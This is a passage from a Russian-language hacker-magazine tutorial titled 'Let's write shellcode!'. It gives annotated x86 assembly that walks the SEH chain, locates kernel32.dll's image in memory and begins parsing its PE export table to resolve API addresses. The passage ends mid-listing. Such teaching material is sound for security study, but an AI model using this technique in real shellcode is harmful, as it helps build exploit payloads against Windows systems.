Пишем shell-код! Коваленко Дмитрий aka Ingrem Спецвыпуск Xakep, номер #045, стр. 045-014-2 Листинг Алгоритм процедуры поиска адреса API-функции по ее имени ; процедура находит адрес api и смещение этого адреса в таблице экспорта ; вход: ecx -- длина имени ; esi -- адрес строки с именем ; выход: ebx -- адрес адреса API ; edx -- адрес API ; eax -- адрес "головы" kernel32.dll getapi2k proc Сначала нужно найти какой-то адрес внутри kernel32.dll. Для этого мы просканируем цепочку SEH-структур. Указатель на первую такую структуру лежит по fs:[0]. SEH-структура имеет довольно интересное строение: ее первое двойное слово – адрес следующей в цепочке SEH-структуры, второе двойное слово – адрес exeption обработчика. Последняя в цепочке структура первым двойным словом имеет 0xFFFFFFFF, а вторым – адрес системного exeption обработчика (именно он выдает "Инструкция по адресу 0x???????? обратилась..."). Листинг mov eax, fs:[0] ; заносим в eax адрес первой структуры SEH getapi2k_10: ; идем дальше по цепочке SEH-стуктур mov ebx, [eax] ; заносим в ebx адрес следующей SEH-структуры cmp ebx, -1 ; адрес равен 0FFFFFFFFh? je getapi2k_20 ; да! - значит эта SEH-структура - последняя в цепочке mov eax, ebx ; нет... идем дальше jmp short getapi2k_10 getapi2k_20: mov eax, [eax+4] Теперь eax содержит какой-то адрес внутри kernel32.dll. При загрузке PE-файла Windows помещает его образ по адресу, кратному 64 K. Найдем адрес образа kernel32.dll (фактически адрес его DOS стаба). Учтем, что kernel32.dll первыми двумя байтами имеет сигнатуру 'MZ'. Листинг xor ax, ax ; выровняем найденный адрес на 64 К getapi2k_1: mov ebx, [eax] ; читаем 4 байта в ebx cmp bx, 5A4Dh ; 'MZ' найден? je getapi2k_2; да! sub eax, 010000h; нет - увеличим eax на 64 К jmp short getapi2k_1 getapi2k_2: На данном этапе eax содержит адрес DOS стаба kernel32.dll. Проанализируем образ kernel32.dll в памяти. Цель – найти таблицу экспорта. Анализ реализуется следующим образом: Листинг ; поскольку в PE все смещения записаны относительно адреса DOS ; стаба, то нам придется все время их корректировать, добавляя ; к смещениям eax mov ebx, eax ; копируем в ebx адрес DOS стаба add ebx, [eax+3Ch]; добавляем к ebx смещение PE заголовка ; (оно лежит по смещению 0x3C от начала стаба) add ebx, 78h ; добавляем к ebx смещение указателя на таблицу экспорта ;относительно заголовка PE |